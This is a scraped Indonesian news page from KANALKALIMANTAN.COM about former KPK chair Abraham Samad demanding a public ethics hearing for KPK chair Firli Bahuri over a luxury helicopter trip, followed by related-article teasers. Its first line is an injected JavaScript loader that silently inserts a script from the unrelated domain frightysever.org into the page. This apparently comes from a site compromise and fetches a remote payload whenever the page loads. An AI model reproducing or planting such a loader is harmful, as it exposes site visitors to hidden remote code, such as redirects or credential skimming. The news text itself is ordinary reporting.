(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, JAKARTA – Mantan Ketua Komisi Pemberantasan Korupsi (KPK) Abraham Samad mendesak agar sidang etik terhadap Ketua KPK Firli Bahuri oleh Dewan Pengawas (Dewas) KPK digelar terbuka.
Permintaan itu disampaikan Samad karena untuk menghindari adanya kecurigaan dari publik proses berjalannya sidang etik terkait kasus penggunaan helikopter mewah yang diduga dipakai Firli.
“Saya mendesak seyogyanya sidang dibuat terbuka agar publik bisa melihat dan memberikan pendapat, jangan ditutup yang hanya akan memunculkan prasangka negatif terhadap hasil pemeriksaan nanti,” kata Samad di Jakarta, Selasa (25/8/2020).
Samad pun teringat ketika masih sempat menjalani sidang etik saat memimpin lembaga antirasuah itu. Dia mengaku ketika itu sidang etik dirinya dan mantan Wakil Ketua KPK Adnan Pandu Praja digelar secara terbuka.
“Seperti waktu sidang etik terhadap kami dalam kasus bocornya sprindik Anas Urbaningrum beberapa tahun lalu. Saat itu, saya dan Pak Adnan Pandu disidang terbuka oleh Majelis Etik yang ditonton media,” ungkap dia.
Selain itu, kata dia, beberapa kasus pelanggaran etik penyelenggara negara juga disidangkan terbuka seperti sidang oleh Dewan Kehormatan Penyelenggara Pemilu (DKPP) ataupun pada sidang kasus “papa minta saham” oleh Majelis Kehormatan Dewan (MKD) DPR RI pada 2015 lalu.
Menurutnya, sidang etik tertutup oleh Dewas KPK terhadap pimpinan KPK saat ini berpengaruh terhadap akuntabilitas pemeriksaan sehingga publik akan curiga.
“Apalagi beberapa anggota dewas berasal dari mantan hakim yang terbiasa dengan sidang terbuka. Ini aneh,” ujar Samad.
Sebelumnya, Dewas KPK telah menggelar sidang etik terhadap Firli secara tertutup di Gedung Pusat Edukasi Antikorupsi atau Gedung KPK lama, Jakarta, Selasa.
Sidang tersebut digelar atas aduan dari Masyarakat Antikorupsi Indonesia (MAKI) ke Dewas KPK mengenai penggunaan helikopter mewah oleh Firli saat perjalanannya dari Palembang ke Baturaja, Sumatera Selatan, Sabtu (20/6).
MAKI menilai perbuatan Firli tersebut bertentangan dengan kode etik pimpinan KPK yang dilarang bergaya hidup mewah.
Dewas KPK akan melanjutkan kembali sidang etik Firli pada Senin (31/8) karena dari enam saksi yang dipanggil baru dua saksi yang memberikan kesaksian. Selain itu, Firli sebagai terperiksa juga akan hadir kembali pada sidang pekan depan.(suara)
Editor: suara
KANALKALIMANTAN.COM, BANJARMASIN - Suasana di kantor Bawaslu Provinsi Kalsel pada Jumat (22/11/2024) siang terpantau seperti… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemko Banjarbaru menyelenggarakan acara penyerahan SK kenaikan pangkat PNS periode 1 Desember… Read More
KANALKALIMANTAN.COM, JAKARTA - Tim penyidik Komisi Pemberantasan Korupsi (KPK) menjadwalkan pemanggilan terhadap mantan Gubernur Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARBARU – Penjabat Sementara (Pjs) Wali Kota Banjarbaru Dra Hj Nurliani MAP singgah ke… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru melalui Dinas Lingkungan Hidup (DLH) Kota Banjarbaru menggelar… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Pengunduran diri Sahbirin Noor atau Paman Birin dari jabatan Gubernur Kalimantan Selatan… Read More
This website uses cookies.